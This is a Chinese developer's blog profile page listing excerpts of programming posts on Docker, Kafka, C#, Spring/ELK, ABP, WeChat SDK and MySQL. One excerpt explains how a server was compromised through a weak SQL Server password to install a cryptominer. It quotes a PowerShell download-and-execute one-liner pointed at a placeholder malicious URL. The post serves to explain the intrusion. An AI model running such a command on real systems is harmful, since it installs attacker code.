自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(40)
  • 资源 (4)
  • 问答 (27)
  • 收藏
  • 关注

原创 Windows系统Docker Desktop kubernetes部署

准备工作虚拟化任务管理器查看 虚拟化启用,未启用的进BIOS启用。若不支持 则从https://docs.docker.com/toolbox/toolbox_install_windows/安装Docker Toolbox,内部教程也挺充足。下载安装1.从https://hub.docker.com/editions/community/docker-ce-desktop-windows/下载Docker Desktop Edge 版本2.从https://github.com/Ali

2022-03-08 15:36:56 777

原创 Spring集成Kafka 结合Kafka Tool使用

下载安装1.从http://kafka.apache.org/downloads 下载kafka2.从https://zookeeper.apache.org/releases.html 下载zookeeper3.从http://www.kafkatool.com/download.html 下载kafkatool注意事项kafka有路径长度限制,放置位置不宜过长配置Spring项目pox.xml <dependency> <groupId>org.spri

2022-03-08 15:36:36 696

原创 系统蓝屏崩溃后VS自动备份当前操作文件

偶遇系统蓝屏崩溃,重启后vs最后编辑的文件打不开了,打开其所在目录,在目录下会生成一个TMP文件此时打开原本的cs文件已经损坏,强制打开则都是形如��׺����ʽת��׺����ʽ的乱码,无法使用TMP文件会包含最近一次自动保存缓存的文件内容,以保障损失不大。...

2020-08-26 08:29:19 866 2

原创 【代码笔记】【c#】中缀表达式转后缀表达式

/// <summary> /// 中缀表达式转后缀表达式 /// </summary> /// <param name="infix">不需用空格隔开的常规中缀表达式</param> /// <returns></returns> public static string InToSu(String infix) { //将表达式区分数与运算符以空格拆分,得到字符串数组 String infixF..

2020-08-26 08:29:07 299

原创 【代码笔记】【c#】计算后缀表达式

/// <summary> /// 计算后缀表达式 /// </summary> /// <param name="expression">后缀表达式</param> /// <returns></returns> public static double CalSu(String expression) { string[] units = expression.Trim().Split(' ');..

2020-08-26 08:28:50 335

原创 AForge.Neuro结构梳理

Neuron就像一个实体#mermaid-svg-9VDJ5ocLXJW8bzIN .label{font-family:'trebuchet ms', verdana, arial;font-family:var(--mermaid-font-family);fill:#333;color:#333}#mermaid-svg-9VDJ5ocLXJW8bzIN .label text{fill:#333}#mermaid-svg-9VDJ5ocLXJW8bzIN .node rect,#mermaid-.

2020-08-26 08:28:14 252

原创 与网站之间的连接采用过时的加密套件解决方案

如果你的网站配置了ssl证书后有这样的提示,觉得不好,需要在服务器调整加密套件,使用更新的更强大安全的加密套件。IIS(Windows Server):下载IISCrypto命令行运行gpedit,计算机配置-管理模板-网络-SSL配置设置启用然后在这里也可以配置加密套件(方法参照帮助,描述得很详细了),使用IISCrypto也可以如果不明白该将那种优先排的话可以直接点击左下角Best Practices 会自动安排当前服务器上可用的最佳配置,再Apply就可以了。重启生效。Nginx

2020-08-26 08:28:02 10218 1

原创 【Java】SpringBoot集成ELK(elasticsearch+logstash+kibana)及Elasticsearch-head插件

SpringBoot集成ELK及ES-Head插件前言开发环境下载安装基础SpringBoot项目elasticsearchelasticsearch-headlogstashkibana注意事项配置SpringBoot项目pom.xmlapplication.yml需创建内容ElasticConfiglogback-spring.xml[可选]使用esclient手动保存数据实体elasticsearchelasticsearch-headlogstashkibana注意事项启动elasticsearch

2020-08-18 22:08:36 706 1

原创 【Java】几种不同性质的随机数生成

生成数量: 25生成范围: 1至100(均包含)1.生成可重复可连续随机数 public static Stack<Integer> genNum() { Random rand = new Random(); Stack<Integer> nums = new Stack<>(); for(int i = 0; i< 25; i++) { nums.add(rand.nextI.

2020-08-17 19:47:07 106

原创 【Java】Spring自定义注解令牌桶

首先准备一些必要的参数public class Constants { //容量 public static final int CAPACITY = 10; //增长速率 public static final int RISE_COUNT = 1; //增长时间间隔(毫秒) public static final int fixedRate = 1000; //所有的桶名 public static final String[] BUCK

2020-08-17 19:46:44 329

原创 静态化页面的利弊

静态化页面的利弊页面静态化指将页面的最终静态形态(不需要执行asp,php,jsp,.net等动态语言进行生成)作为访问资源。这一“复古”行为在一些领域适用并取得很好的效果。本文列举一些页面静态化的利与弊。静态页面的优点:1.适合SEO,静态页面更容易被搜索引擎抓取。2.更快的访问速度及稳定性。静态页面的缺点:1.文件数多,占用硬盘空间大。2.维护复杂度大。页面静态化的一些问题:1.文件命名:静态化页面的文件数量极多但命名的辨识度往往很低,如101-3.html这种,不能直观看出网站结构。

2020-08-17 19:46:16 1079

原创 跨域攻击导致的“/“应用程序中的服务器错误解决方案

web.config中加入 <httpProtocol> <customHeaders> <add name="Access-Control-Allow-Origin" value=" 在这里设置允许跨域的域名,多个用‘,’隔开 " /> <add name="Access-Control-Allow-Headers" value="X-AspNet-Version,X-Powered-By,Date,Serv.

2020-08-17 19:45:16 156

原创 配置隐性URL解决域名解析CNAME冲突

现在我们有域名example.com需要将其以CNAME解析到cn.to.com,同时需要添加MX记录且主机记录为@,此时CNAME会与MX冲突我们可以通过配置隐性URL解决冲突。简洁操作流程如下:1.通过二级域名www.example.com以CNAME解析到cn.to.com。2.添加隐性URL记录,主机记录为@ ,记录值为www.example.com。此时访问example.com都会转发到www.example.com,而www.example.com又以CNAME解析到cn.to

2020-08-17 19:44:42 3106

原创 【问题记录】使用VS发布到IIS后网站访问报错

这里写自定义目录标题欢迎使用Markdown编辑器新的改变功能快捷键合理的创建标题,有助于目录的生成如何改变文本的样式插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能,丰富你的文章UML 图表FLowchart流程图导出与导入导出导入欢迎使用Markdown编辑器你好! 这是你第一次使用 Markdown编辑器 所展示的欢迎页。如果你想学习如何使用Mar

2020-08-17 19:44:13 263

原创 【问题记录】ABP 记一处细节变化

今天跑单元测试时出现了一个与正在做的部分无关的地方的错误。Shouldly.ShouldAssertException : exception.Message should contain (case insensitive comparison) "There are tenants subscribed to this edition." but wa...

2020-08-17 19:43:48 195

原创 【问题记录】ABP框架模板页面样式加载不完全

node_modules要通过yarn获取,npm install 可能部分依赖获取不全确认是否有安装gulp安装后gulp build再次编译Angular项目启动,就能加载全部样式了加载不完全原因可能是没有按照官方文档使用yarn获取node_modules导致部分依赖没有,缺少gulp构建的话部分样式不会生成压缩版min.js文件,而Abp依靠gulp进行静态资源版本控制,在项目...

2020-08-17 19:43:23 543

原创 【问题记录】ABP框架官方模板后端首次运行可能出现的问题整理

以项目名MpaAbp为例Your target project ‘MpaAbp.Core’ doesn’t reference EntityFramework. This package is required for the Entity Framework Core Tools to work. Ensure your target project is correct, install ...

2020-08-17 19:42:59 1710

原创 服务器是如何被植入挖矿程序的

首先,攻击者利用Sqlserver应用的弱口令漏洞,并借助Sqlserver自身的命令执行组件执行cmd命令"C:\Windows\system32\cmd.exe" /c whoamiwhoami是操作系统中用于查看当前有效用户名的命令执行ps命令powershell -c "iex((new-object Net.WebClient).DownloadString('恶意链接'))"or"C:\Windows\system32\cmd.exe" /c powershell -c "iex(

2020-08-17 19:42:15 2217

原创 【代码笔记】动态添加删除带标题的表单控件【ASPX为基础.Net控件实现版】

待更

2019-07-10 21:05:40 275

原创 【代码笔记】动态添加删除带标题的表单控件【HTML为基础 jQuery实现版】

动态添加删除带标题的表单控件 使用JS实现基础HTMLJavaScript主要实现的功能性:带标题编号、随意添加删除且保留住留存的表单信息内容、获取所有表单数据并传入后台规避方法(强行加难度?):不允许修改已有控件的ID、不允许从一个表单往另一个表单搬运数据的操作(可能一个table里控件很多,搬运低效率)基础HTML <table id="Table_1" c...

2019-07-10 21:05:29 186

原创 【c#】对在UpdatePanel内的Repeater内的控件设置PostBack

//((ScriptManager)Master.FindControl("ScriptManager1")).RegisterPostBackControl((Button)sender); ScriptManager.GetCurrent(this.Page).RegisterPostBackControl((Button)sender);<asp...

2019-07-03 20:42:54 600

原创 【代码笔记】【c#】克隆类对象(一般用于实体类)

/// <summary> /// 克隆类对象(一般用于实体类) /// </summary> /// <returns></returns> public static void ClassClone<T>(T clzOld, ref T clzNew) ...

2019-07-01 21:18:36 721

原创 【代码笔记】【c#】根据原始数组返回指定数量的随机元素组成的数组

/// <summary> /// 根据原始数组返回指定数量的随机元素组成的数组 /// </summary> /// <typeparam name="T"></typeparam> /// <param name="arr">原始数组</param> ...

2019-07-01 21:01:57 322

原创 【代码笔记】获取指定表的主键列名

/// <summary> /// 获取指定表的主键列名 /// </summary> /// <param name="tableName"></param> /// <returns></returns> public stat...

2019-07-01 21:00:31 285

原创 【代码笔记】【c#】根据特定数据结构数据执行SQL插入或更新

DataRow为例 奇葩 /// <summary> /// 根据DataRow执行SQL插入或更新 /// </summary> /// <param name="tableName">指定表 表名</param> /// <param name="fieldV...

2019-07-01 20:53:36 177

原创 【代码笔记】【c#】两个string[]数组 取 交集 或 差集

/// <summary> /// 两个string[]数组 取 交集 或 差集 /// </summary> /// <param name="arr1"></param> /// <param name="arr2"></param> ...

2019-07-01 20:46:55 2116 1

原创 【Java】ProGuard 个人的常用配置

最近用了ProGuard混淆jar包,这个工具是很强大 配置上要全部搞懂还是要花上一些时间。一般情况下我们不强求绝对无法反编译或怎么恶心人,只希望混淆后降低辨识度,让那些想直接复制粘贴就夺为己用的手段无法得逞,同时希望混淆后的包不会因为混淆出现什么暗病,因此做一些基本的配置就可以了。首先自然是原jar包的输入和混淆后的jar输出去掉Shrink的默认打勾(强烈推荐)Also keep 的...

2019-02-15 16:34:31 497

原创 【Android】 Gradle plugin 3.3.0 and Gradle 4.10.1 问题整理

今天更新了Gradle 毫不意外的会出现一些问题。ERROR: The Android Gradle plugin supports only Kotlin Gradle plugin version 1.3.0 and higher.The following dependencies do not satisfy the required version: rootproject ‘A...

2019-01-18 11:31:49 13586 2

原创 【Mysql】MySQL修改用户host的方法整理

虽然在网上可以搜到很多相关的内容 但并不是全部都可用 在这里整理一下,可以让新手少走弯路。目前最可行的办法是 使用root用户登陆 授权GRANT ALL PRIVILEGES ON *.* TO 'username'@'host' IDENTIFIED BY 'password' WITH GRANT OPTION;如果不是root用户的话不一定能保证其拥有授权的权限部分可...

2018-07-31 15:12:39 37970

原创 【代码笔记】【jQuery】自定义函数效果 让文字一个一个显示出来

自定义函数$.LoadCommandLine = function (arr,callback) { if (arr.length &amp;amp;amp;amp;amp;gt; 0) { //处理逻辑 //显示 var id = getRandomString(5); $(&amp;amp;amp;amp;quot;#pre&amp;amp;amp;amp;quot;).append('&a

2018-06-01 17:40:12 2065

原创 【Android】微信SDK分享需要注意的

微信分享功能网上有许多实例,可以参考也可以直接使用。这里记录几个要点之外容易被忽视的地方。1.public class WXEntryActivity extends AppCompatActivity implements IWXAPIEventHandler{ ...}回调用的Activity WXEntryActivity名称固定 必需继承IWXAPIEventHan...

2018-03-27 18:34:16 1361

原创 【代码笔记】【C#】将数组的某一索引位置的元素移动到指定索引位置

/// <summary> /// 将数组的某一索引位置的元素移动到指定索引位置 /// </summary> /// <typeparam name="T"></typeparam> /// <param name="array"></param> /// <param name="fromIndex">要移动的元素所

2017-12-04 10:29:54 4002

原创 【代码笔记】【MySQL】 合并两个结果集

合并两个结果集 并集 带group bySELECT field1,field2,field3 --①FROM ( SELECT a.field1,b.field2,SUM(c.field3) AS field3 --② FROM table1 AS a LEFT OUTER JOIN table2

2017-12-04 10:27:28 3739 1

原创 【C#】让Hashtable 按添加顺序排序/不自动排序

碰到一些需求 要接收一些数据用Hashtable存储 传递过来 要处理后导出,在排序上碰到阻碍Hashtable用于存取键值对是很好用的 但其本身会自动依据键的哈希代码进行排序并且不能更改排序在网上找到一种方案:Hashtable ht = new Hashtable(); ht.Add("key1", "value1"); ...ArrayList al = new ArrayList(ht

2017-09-29 16:48:49 7555 1

原创 【C#】asp:DropDownList控件选中值不变的问题

asp:DropDownList控件的使用 需要有数据源 设置数据源的方法很多 常用的如以下:直接往控件中添加项目ddlList.Items.Add(new ListItem("Value1", "Key1"));...SelectedItem.Value和SelectedValue这两种取值方法的不同只有将数据源字段和字段值设为"Key"和"Value"才能使用如果需要将这两个设为其他的 则只有使用Sel

2017-09-15 18:03:07 2040

原创 【APP】微信接口对Android与IOS验证方式的差异

要做微信接口首先要有一个微信开放平台账号 绑定APP得到AppID和AppSecret 对Android开发者需在开发者平台配置 包名和签名 并在程序中配置AppID 而IOS开发者需要在开发者平台配置Bundle ID在程序中配置AppID和AppSecret不同于Android用包名和签名两个参数决定应用的唯一性 IOS是用Bundle ID决定应用的唯一性用个不准确但容易懂的说...

2017-05-15 19:01:51 2732

原创 【记录】百万量级数据处理

某次需求将一个文件夹内的几千个文件中的数据导入到SqlServer,每个文件有1000+条数据 基本想法是用php遍历一下读出来再写进MySQL(SqlServer是服务器上的不对外,同在服务器的MySQL对外),最后从MySQL导入到SqlServer。数据大概是这样的: 理想很丰满 现实很骨感 在简单的思考后开始着手去做 结果碰到了不少坑 在这里记录一下并标记一些细节地方首先想到对数据库

2017-02-20 09:49:48 2461

原创 【微信小程序】 canvas控件与html中canvas的不同

在微信小程序中也拥有和html中作用相同的canvas控件在一次使用过程中 需要在绘制的图上显示文字 但出现了问题使用以下两种结构 绘图始终会盖在文字上层<canvas></canvas> <view> </view><canvas><view> </view></canvas> canvas及view均设置了position:absolute属性 且canvas的z-index:2

2017-01-13 11:33:23 8318

原创 【微信小程序】 视图控件与bindtap之间的问题

在微信小程序中 最常用的<view>控件 可以用bindtap(冒泡反应) 如<view bindtap="ItemOnclick" data-mType="123">的形式绑定ItemOnclick事件并传递一个dataset,其包含一个名为mType的元素 值为123。在某一次设计中 有如下结构:

2016-11-30 10:38:35 27373

原创 【c#】最小化到托盘DefWndProc接收不到消息事件

最近入了c# 开始做些基本的东西 其中在做最小化到托盘时碰到个卡了很久的问题 在这里记录一下 protected override void DefWndProc(ref System.Windows.Forms.Message m) { switch (m.Msg) {

2016-11-29 17:54:40 2687 1

类似Android下Log类 带扩展类

Java项目下用的一个实现了类似Android下Log类。Android向Java学习的同学习惯的Log.i()用法 追加了一些扩展类 可满足日志分析需求

2019-03-08

类似Android下Log类

Java项目下用的一个实现了类似Android下Log类。Android向Java学习的同学习惯的Log.i()用法

2019-02-15

证书创建工具xca1.3.2

证书创建工具xca1.3.2

2017-02-24

mysql-ssma.license

mysql-ssma.license 使用SSMA需要的license文件 方便需要的使用

2017-02-18

Androidstudio软件损坏重装无用,求教处理方案

2021-06-11

Android Activity向AlertDialog传进数组 数组元素变为一个

2016-07-27

php 依据数据库ip段显示ip归属地

2015-10-20

关于ThinkPHP跳转到外部链接的

2015-09-30

ThinkPHP跳转到外部链接的问题

2015-09-30

ThinkPHP跳转链接前面怎样能不加根路径

2015-09-29

ThinkPHP跳转链接前面不加根路径

2015-09-28

php中 判断数组返回[false]

2015-09-21

php if判断数组返回[false] 如何实现

2015-09-21

数组 打印出来的格式 转换

2015-09-18

数据库读取数据数组格式转换

2015-09-17

求教php 做APP接口 整个通信流程

2015-09-17

数据库读取数据 输出数组 转为json输出

2015-09-17

php中xml标签内的时间戳如何改为ymd形式

2015-09-07

Xcode 苹果app发布Error ITMS-90022 90046 90096 问题

2015-09-05

苹果app发布 错误 ITMS=90022 90046

2015-09-03

IOS应用 Archive时出现错误

2015-09-03

xcode ios应用发布时出现的问题

2015-09-02

请教一些IOS应用发布时出现的问题

2015-09-02

navicat Mysql 导入Excel数据 错误代码1000

2015-08-21

thinkphp自定义函数的使用

2015-08-19

thinkphp $deal.val的定义

2015-08-19

整屏滚动页面滚屏触发animate动画效果

2015-08-11

在一个表单中输入,另一个表单也自动输入相同内容

2015-07-27

360极速模式下可用的js实现按钮点击显示隐藏控件

2015-07-24

php开发微信群发 发送按钮实现

2015-07-08

php开发微信群发后台实现

2015-07-07

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除